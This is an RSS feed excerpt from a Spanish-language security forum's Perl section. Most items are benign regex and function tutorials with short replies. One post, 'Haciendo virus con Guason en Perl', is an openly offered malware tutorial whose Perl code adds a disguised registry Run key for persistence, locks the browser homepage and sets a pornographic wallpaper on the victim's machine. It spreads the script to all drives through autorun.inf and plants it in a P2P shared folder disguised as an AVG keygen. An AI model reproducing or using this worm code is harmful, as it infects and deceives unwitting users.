<title>Obtener la extensión de archivos con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6806,6806#msg-6806</link><description><![CDATA[Bueno, ps aquí una forma facir con expresiones regulares para obtener la extensión de un archivo xD.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#/usr/bin/perl</span>
&nbsp;
<span class="re0">@ext</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>hola<span class="sy0">.</span>php ar<span class="sy0">.</span>hl<span class="sy0">.</span>html<span class="sy0">.</span>sss pl<span class="sy0">.</span>pl <span class="sy0">.</span>ert<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">foreach</span> <span class="re0">$ext</span><span class="br0">&#40;</span><span class="re0">@ext</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$ext</span> <span class="sy0">=~</span> <span class="co2">m/(\w+)$/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$ext Extencion: $1<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
 <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre><br />Salida:<br /><pre class="bbcode">
yoya@yoya-desktop:~/Escritorio$ perl a.pl
hola.php Extencion: php
ar.hl.html.sss Extencion: sss
pl.pl Extencion: pl
.ert Extencion: ert</pre><br />Bueno ahora explico la expresión regular:<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$ext</span> <span class="sy0">=~</span> <span class="co2">m/(\w+)$/</span><span class="br0">&#41;</span><span class="br0">&#123;</span></pre><br />Bueno, uso la meta-secuencia \w para capturar todos los valores Alfa-numéricos y uso el carácter $ que le indica a perl el fin de la cadena, osea capturo todo los valores alfa números del fin de la cadena y como el punto no es alfa numérico hay para la captura...<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 10 Mar 2010 15:42:45 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6696,6696#msg-6696</guid>
<title>Aplicando expresiones regulares a arrays</title><link>https://foro.undersecurity.net/read.php?10,6696,6696#msg-6696</link><description><![CDATA[Bueno, podemos aplicar expresiones regulares a un array con la función <a href="http://www.tutorialspoint.com/perl/perl_grep.htm" target="_blank" rel="nofollow" ><u>grep</u></a>, ejemplo tenemos el siguiente array:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/user/bin/perl</span>
&nbsp;
<span class="re0">@array</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>A B C <span class="nu0">5</span> D E F <span class="nu0">9</span> H <span class="nu0">6</span> <span class="nu0">9</span> <span class="nu0">8</span> <span class="nu0">7</span> H <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;@array[0..15]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span></pre>
Y al ejecutarlo el resultado sera:<br /><pre class="bbcode">
yoya@yoya-desktop:~/Escritorio$ perl a.pl
A B C 5 D E F 9 H 6 9 8 7 H 6</pre><br />Pero que pasa si queremos imprimir solos los numeros que contienen el array, podemos aplicarle expresiones regulares con la ayuda del comando grep.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/user/bin/perl</span>
&nbsp;
<span class="re0">@array</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>A B C <span class="nu0">5</span> D E F <span class="nu0">9</span> H <span class="nu0">6</span> <span class="nu0">9</span> <span class="nu0">8</span> <span class="nu0">7</span> H <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Array @array[0..15]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">@digit</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/grep.html"><span class="kw3">grep</span></a><span class="br0">&#40;</span><span class="co2">/\d+/g</span><span class="sy0">,</span> <span class="re0">@array</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Nuevo array con numeros @digit[0..scalar(@digit)]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span></pre><br />Salida:<br /><pre class="bbcode">
yoya@yoya-desktop:~/Escritorio$ perl a.pl
Array A B C 5 D E F 9 H 6 9 8 7 H 6 
Nuevo array con numeros 5 9 6 9 8 7 6</pre><br />Y que pasa que si queremos sacar solo los datos tipo string.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/user/bin/perl</span>
&nbsp;
<span class="re0">@array</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>A B C <span class="nu0">5</span> D E F <span class="nu0">9</span> H <span class="nu0">6</span> <span class="nu0">9</span> <span class="nu0">8</span> <span class="nu0">7</span> H <span class="nu0">6</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Array @array[0..15]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">@digit</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/grep.html"><span class="kw3">grep</span></a><span class="br0">&#40;</span><span class="co2">/\d+/g</span><span class="sy0">,</span> <span class="re0">@array</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Nuevo array con numeros @digit[0..scalar(@digit)]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">@string</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/grep.html"><span class="kw3">grep</span></a><span class="br0">&#40;</span><span class="co2">/[a-z]+/ig</span><span class="sy0">,</span> <span class="re0">@array</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Nuevo array con valores tipo string @string[0..scalar(@string)]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span></pre><br />Salida:<br /><pre class="bbcode">
yoya@yoya-desktop:~/Escritorio$ perl a.pl
Array A B C 5 D E F 9 H 6 9 8 7 H 6 
Nuevo array con numeros 5 9 6 9 8 7 6 
Nuevo array con valores tipo string A B C D E F H H</pre><br /><br /><hr class="bbcode"/><br /><b><i><span style="color:#FF0000"><span style="font-size: large">Funciones utilizadas.</span></span></i></b><br /><b>scalar()</b><br />Devuelve el numero de elemento de un array.<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Sat, 27 Feb 2010 18:37:38 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6361,6361#msg-6361</guid>
<title>Función ord()</title><link>https://foro.undersecurity.net/read.php?10,6361,6361#msg-6361</link><description><![CDATA[Función <b>ord()</b><br />Retorna el valor de un carácter a ASCII.<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <a href="http://perldoc.perl.org/functions/ord.html"><span class="kw3">ord</span></a><span class="br0">&#40;</span>A<span class="br0">&#41;</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="kw2">__END__</span>
salida<span class="sy0">:</span>
<span class="nu0">65</span></pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Tue, 02 Feb 2010 16:50:48 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6292,6336#msg-6336</guid>
<title>Re: Verificar si una variable contiene algún valor con Expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6292,6336#msg-6336</link><description><![CDATA[Gracias yoya , por un momento pense que era una pregunta xD]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Fri, 29 Jan 2010 13:53:14 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6292,6306#msg-6306</guid>
<title>Re: Verificar si una variable contiene algún valor con Expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6292,6306#msg-6306</link><description><![CDATA[<blockquote class="bbcode"><div><small>Quote<br/></small><strong>prodigy</strong><br/>
yoyahack de que me puede servir esto al programar? ¿se usa mucho?, ¿puedes poner mas ejemplos de expresiones regulares?<br /><br />Saludos!!</div></blockquote><br />checkea este link te puede ser de ayuda amigo.<br />http://foro.undersecurity.net/read.php?19,6305,6305#msg-6305]]></description>
<dc:creator>ksha</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 27 Jan 2010 22:04:06 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6292,6299#msg-6299</guid>
<title>Re: Verificar si una variable contiene algún valor con Expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6292,6299#msg-6299</link><description><![CDATA[Ps con esto puedes verificar si una variable contiene algún valor, es como la función <a href="http://www.php-es.com/function.empty.html" target="_blank" rel="nofollow" ><i>empty</i></a> de php...<br /><br />Ps nose que ejemplo mas podría poner sobre <a href="http://foro.undersecurity.net/read.php?10,5530" target="_blank" rel="nofollow" ><i>expresiones regulares</i></a>, ya que en este caso solo que comprueba si existe algún carácter..<br />Si quieres ejemplo de expresiones regulares ps puedes decir que ejemplo quisieras ver...<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 27 Jan 2010 17:07:12 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6292,6298#msg-6298</guid>
<title>Re: Verificar si una variable contiene algún valor con Expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6292,6298#msg-6298</link><description><![CDATA[yoyahack de que me puede servir esto al programar? ¿se usa mucho?, ¿puedes poner mas ejemplos de expresiones regulares?<br /><br />Saludos!!]]></description>
<dc:creator>prodigy</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 27 Jan 2010 16:50:00 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6292,6292#msg-6292</guid>
<title>Verificar si una variable contiene algún valor con Expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6292,6292#msg-6292</link><description><![CDATA[Bueno, con una exprecion regular verificamos si existe &quot;<b>Algo</b>&quot; en una variable.<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$hola</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$hola</span> <span class="sy0">=~</span> <span class="co2">m/./</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Contiene valor.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span><a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;No contiene valor.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><span class="br0">&#125;</span></pre>
Salida:<br /><pre class="bbcode">
$ perl script.pl
No contiene valor.</pre><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 27 Jan 2010 15:55:56 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6216,6256#msg-6256</guid>
<title>Re: Creando un brute force en perl</title><link>https://foro.undersecurity.net/read.php?10,6216,6256#msg-6256</link><description><![CDATA[Entonces me baje una version muy vieja pero no importa]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 12:50:46 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6235,6254#msg-6254</guid>
<title>Re: Haciendo virus con Guason en Perl</title><link>https://foro.undersecurity.net/read.php?10,6235,6254#msg-6254</link><description><![CDATA[de nada broder , no te preocupes superaremos nuestro problema con bbcode poco a poco]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 12:47:35 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6216,6249#msg-6249</guid>
<title>Re: Creando un brute force en perl</title><link>https://foro.undersecurity.net/read.php?10,6216,6249#msg-6249</link><description><![CDATA[Uhmm no creo que sea por eso<br />http://www.easyphp.org/download.php<br /><br />ocupa PHP5, php4 ya no viene con casi ningun paquete de instalacion todo en uno, a menos que te lo bajes por separado.]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 10:42:03 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6235,6248#msg-6248</guid>
<title>Re: Haciendo virus con Guason en Perl</title><link>https://foro.undersecurity.net/read.php?10,6235,6248#msg-6248</link><description><![CDATA[coool bro. el uso de registros en perl no tenia idea<br />y ves que se ve mejor con bbcode asi mantenmos el orden en todo.<br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 10:40:42 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6129,6237#msg-6237</guid>
<title>Re: Port Scanner by X4cks</title><link>https://foro.undersecurity.net/read.php?10,6129,6237#msg-6237</link><description><![CDATA[Esta bueno pero los port scanner en perl son lentos yo prefiero hacerlos en python]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 08:46:17 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6235,6235#msg-6235</guid>
<title>Haciendo virus con Guason en Perl</title><link>https://foro.undersecurity.net/read.php?10,6235,6235#msg-6235</link><description><![CDATA[<span style="color:#FF0033">Haciendo virus con Guason en Perl</span><br /><br />Hola.<br /><br />Antes de empezar lo que voy a explicar esta en perl y ya deberian tener conocimientos<br />basicos o intermedios para esto asi que nada de preguntas basicas.<br />Perl es el mas indicado para hacer virus y no otros lenguajes basicos como<br />vbs o visual basic. Perl ofrece montones de modulos en cpan(link) ya sea<br />para linux o windows , solo que yo me voy a concentrar en Windows porque<br />la mayoria de las personas ahora usan Windows XP.<br /><br />Ok , para empezar para hacer un virus no tiene que ser destructivo y jodido como muchos<br />lo hacen porque eso es aburrido. La idea es que se reproduzca por varios motivos y pensar<br />que podria joder a alguien.<br /><br /><br />¿Que cosas podria hacer?<br /><br /><br /><br />Lo mas basico de todo es el malvado sonido interno de la pc , es algo aterrador escuchar el<br />tipido hasta el infinito<br /><br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">while</span><span class="br0">&#40;</span>true<span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\a</span><span class="es0">\a</span><span class="es0">\a</span><span class="es0">\a</span>&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br /><br />Como ven con esas tres lineas lograran hacer sonar el tipido sin parar , la unica manera<br />de parar es cerrando el archivo pl , pero que pasaria si el archivo esta oculto y sin ventana.<br /><br />Ok , tambien hay algo feo para la victima como descargarle imagenes porno a la victima y ponersela<br />de fondo!<br />Para descargas imagenes tenemos a Image::Grab es un buen modulo para esto.<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">my</span> <span class="re0">$img</span> <span class="sy0">=</span> <span class="kw2">new</span> Image<span class="sy0">::</span><span class="me2">Grab</span><span class="sy0">;</span>
<span class="re0">$img</span><span class="sy0">-&gt;</span><span class="me1">url</span><span class="br0">&#40;</span>TU FOTO<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">$img</span><span class="sy0">-&gt;</span><span class="me1">grab</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$img</span><span class="sy0">-&gt;</span><span class="me1">image</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
<span class="co1">#Salvamos la imagen al disco</span>
<a href="http://perldoc.perl.org/functions/open.html"><span class="kw3">open</span></a><span class="br0">&#40;</span>IMAGEN<span class="sy0">,</span> <span class="st0">&quot;&gt;C:<span class="es0">\\</span>xxx.bmp&quot;</span><span class="br0">&#41;</span> <span class="sy0">||</span> <a href="http://perldoc.perl.org/functions/die.html"><span class="kw3">die</span></a><span class="st0">&quot;No se pudo
&nbsp;
crear archivo: $!&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/binmode.html"><span class="kw3">binmode</span></a> IMAGEN<span class="sy0">;</span> <span class="co1">#para derivados de MSDOS.</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> IMAGEN <span class="re0">$img</span><span class="sy0">-&gt;</span><span class="me1">image</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span class="kw3">close</span></a> IMAGEN<span class="sy0">;</span></pre><br /><br />La explicacion del code seria primero crear el objecto del modulo Image::Grab , luego llamar<br />a la imagen porno subida a una web y cambiarle la url completa por &quot;TU FOTO&quot;. Despues<br />la grabamos y si esta descarga salio bien la guardaremos en el diso c:/ como xxx.bmp.<br />Pues si no le gusta donde se guarda pues cambienlo a su preferencia.<br /><br />Para cambiarle el fondo a su victima seria con el modulo Win32::Wallpaper , con este<br />modulo se lograria en tres lineas<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> Win32<span class="sy0">::</span><span class="me2">Wallpaper</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$pro</span> <span class="sy0">=</span> <span class="st0">&quot;C:<span class="es0">\\</span>xxx.bmp&quot;</span><span class="sy0">;</span>
wallpaper<span class="br0">&#40;</span> <span class="re0">$pro</span><span class="sy0">,</span> <span class="st0">&quot;tile&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></pre><br /><br /><br />La explicacion no hace falta ya que es muy sencillo el codigo , solo que deberian cambiar<br />el $pro por donde ustedes tengan la imagen preparada eso si debe esta si o si en formato<br />bmp de lo contrario no funcionara<br /><br /><br /><br />¿Como interactuo con el registro?<br /><br /><br /><br />La mayoria de las maldades de los fracasados que hacen un virus se relacionan con<br />el registro de Window<br /><br />Ejemplos de uso<br /><br />*Hacer que el virus se cargue cada vez que cargue Windows<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> Win32<span class="sy0">::</span><span class="me2">TieRegistry</span><span class="br0">&#40;</span> Delimiter<span class="sy0">=&gt;</span><span class="st0">&quot;/&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">$Registry</span><span class="sy0">-&gt;</span><span class="br0">&#123;</span><span class="st0">&quot;LMachine/Software/Microsoft/Windows/Intenet/Run//agenda&quot;</span><span class="br0">&#125;</span> <span class="sy0">=</span> <span class="co3">$0</span><span class="sy0">;</span></pre><br /><br />Este se creara con el nombre de agenda para pasar desimuladamente<br /><br /><br /><br />*Bloquear cambiar pagina de inicio de IE<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> Win32<span class="sy0">::</span><span class="me2">TieRegistry</span><span class="br0">&#40;</span> Delimiter<span class="sy0">=&gt;</span><span class="st0">&quot;/&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">$Registry</span><span class="sy0">-&gt;</span><span class="br0">&#123;</span><span class="st0">&quot;LMachine/Software/Policies/Microsoft/Internet Explorer/Control Panel
//Homepage&quot;</span><span class="br0">&#125;</span> <span class="sy0">=</span> <span class="st_h">'1'</span><span class="sy0">;</span></pre><br /><br /><br /><br />Y con esto la pagina de inicio seria bloqueda ajajajajajajajajajaj<br /><br /><br />¿Como repruduzco mi triste virus?<br /><br /><br /><br />La idea es que reproduza al menos que tu virus sea especialmente para alguien y nadie<br />mas , de todas formas estas son la opciones que hasta ahora eh probado<br /><br />*USB<br />*P2P<br /><br />La tecnica para que se reproduzca por USB es que se copie a todos los discos de la A a la Z<br />llevando un archivo llamado autorun.inf que sirve para que se cargue automaticamente.<br /><br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">my</span> <span class="re0">$rata</span> <span class="sy0">=</span> <span class="co3">$0</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<a href="http://perldoc.perl.org/functions/open.html"><span class="kw3">open</span></a> <span class="br0">&#40;</span> AUTORUN <span class="sy0">,</span> <span class="st0">&quot;autorun.inf&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> AUTORUN <span class="st0">&quot;[AutoRun]<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> AUTORUN <span class="st0">&quot;open = $rata<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> AUTORUN <span class="st0">&quot;shellexecute=$rata<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> AUTORUN <span class="st0">&quot;shell<span class="es0">\\</span>Auto<span class="es0">\\</span>command=$rata<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="kw1">my</span> <span class="re0">$inf</span> <span class="sy0">=</span> <span class="st0">&quot;autorun.inf&quot;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
 <span class="re0">@discos</span> <span class="sy0">=</span> <span class="br0">&#40;</span> <span class="st_h">'A:<span class="es_h">\\</span>'</span> <span class="sy0">,</span> <span class="st_h">'B:<span class="es_h">\\</span>'</span> <span class="sy0">,</span> <span class="st_h">'C:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'D:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'E:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'F:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'G:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'H:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'I:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'J:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'K:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'L:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'M:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'N:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'O:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'P:<span class="es_h">\\</span>'</span><span class="sy0">,</span><span class="st_h">'Q:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'R:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'S:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'T:<span class="es_h">\\</span>'</span> <span class="sy0">,</span> <span class="st_h">'W:<span class="es_h">\\</span>'</span> <span class="sy0">,</span> <span class="st_h">'X:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'Y:<span class="es_h">\\</span>'</span><span class="sy0">,</span> <span class="st_h">'Z:<span class="es_h">\\</span>'</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="kw1">foreach</span> <span class="re0">$disk</span><span class="br0">&#40;</span> <span class="re0">@discos</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
copy <span class="br0">&#40;</span> <span class="re0">$rata</span> <span class="sy0">,</span><span class="re0">$disk</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">#Copiamos a ratita</span>
copy <span class="br0">&#40;</span> <span class="re0">$inf</span> <span class="sy0">,</span><span class="re0">$disk</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">#Copiamos autorun.inf</span>
<span class="br0">&#125;</span></pre><br /><br />La explicacion del codigo es sencilla llamamos $rata a la ruta real de nuestro virus , luego<br />creamos el archivo autorun.inf con los comandos necesarios para la carga.<br />Despues llamamos $inf al archivo autorun.inf ya creado , luego de esto guardamos<br />todos los posible disco en @discos , para luego con un hermoso foreach copiar a $rata<br />y a $inf a todos los discos posibles.<br /><br />La forma por P2P<br /><br />Por motivos de ganas solo lo hare en el Ares<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#Code Sencillo By Guason</span>
<span class="co1">#Autocopia virus perl al Ares</span>
&nbsp;
<span class="kw2">use</span> Win32<span class="sy0">;</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$admin</span> <span class="sy0">=</span> Win32<span class="sy0">::</span><span class="me2">LoginName</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$raton</span> <span class="sy0">=</span> <span class="st0">&quot;Keygen AVG.pl&quot;</span><span class="sy0">;</span></pre><br /><br />my $to = &quot;C:\\Documents and Settings\\$admin\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\$raton&quot;;<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div>Win32<span class="sy0">::</span><span class="me2">CopyFile</span><span class="br0">&#40;</span><span class="co3">$0</span><span class="sy0">,</span> <span class="re0">$to</span><span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></pre><br /><br />La explicacion del codigo es muy facil<br /><br /><br />Primero llamamos al modulo Win32 para poder usar sus funciones<br /><br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw2">use</span> Win32<span class="sy0">;</span></pre><br /><br />Luego extraemos el nombre del usuario de la maquina y lo guardamos como $admin<br /><br />Código:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">my</span> <span class="re0">$admin</span> <span class="sy0">=</span> Win32<span class="sy0">::</span><span class="me2">LoginName</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></pre><br /><br />Le damos el nombre Keygen AVG para evitar sospechas<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">my</span> <span class="re0">$raton</span> <span class="sy0">=</span> <span class="st0">&quot;Keygen AVG.pl&quot;</span><span class="sy0">;</span></pre><br /><br />Guardamos en $to la ruta a enviar el virus<br />Código:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="kw1">my</span> <span class="re0">$to</span> <span class="sy0">=</span> <span class="st0">&quot;C:<span class="es0">\\</span>Documents and Settings<span class="es0">\\</span>$admin<span class="es0">\\</span>Configuración local<span class="es0">\\</span>Datos de programa<span class="es0">\\</span>Ares<span class="es0">\\</span>My Shared Folder<span class="es0">\\</span>$raton&quot;</span><span class="sy0">;</span></pre><br /><br />Copiamos el archivo<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div>Win32<span class="sy0">::</span><span class="me2">CopyFile</span><span class="br0">&#40;</span><span class="co3">$0</span><span class="sy0">,</span> <span class="re0">$to</span><span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></pre><br /><br />Algunos se preguntaran que soy un idiota por enviar un archivo con formato en perl sabiendo<br />que los que no tengan el interprete no seran infectados PUES NO!<br />Facilmente con perl2exe todo se arreglaria<br /><br />Con el comando<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div>perl2exe <span class="sy0">-</span>icon<span class="sy0">=</span>rata<span class="sy0">.</span>ico <span class="sy0">-</span>gui virus<span class="sy0">.</span>pl</pre><br /><br />Con este comando le dariamos un icono a nuestro virus claro en la misma ruta en la compilacion<br />de perl2exe despues con -gui aplicamos la ocultacion de la consola .<br />Despues de esto modifican el codigo para que esta funcionara<br /><br /><br /><br />Good Bye<br /><br /><br />Guasón]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 08:42:53 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6216,6233#msg-6233</guid>
<title>Re: Creando un brute force en perl</title><link>https://foro.undersecurity.net/read.php?10,6216,6233#msg-6233</link><description><![CDATA[Ocupo PHP4 porque uso Easy PHP]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 08:31:19 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6215,6232#msg-6232</guid>
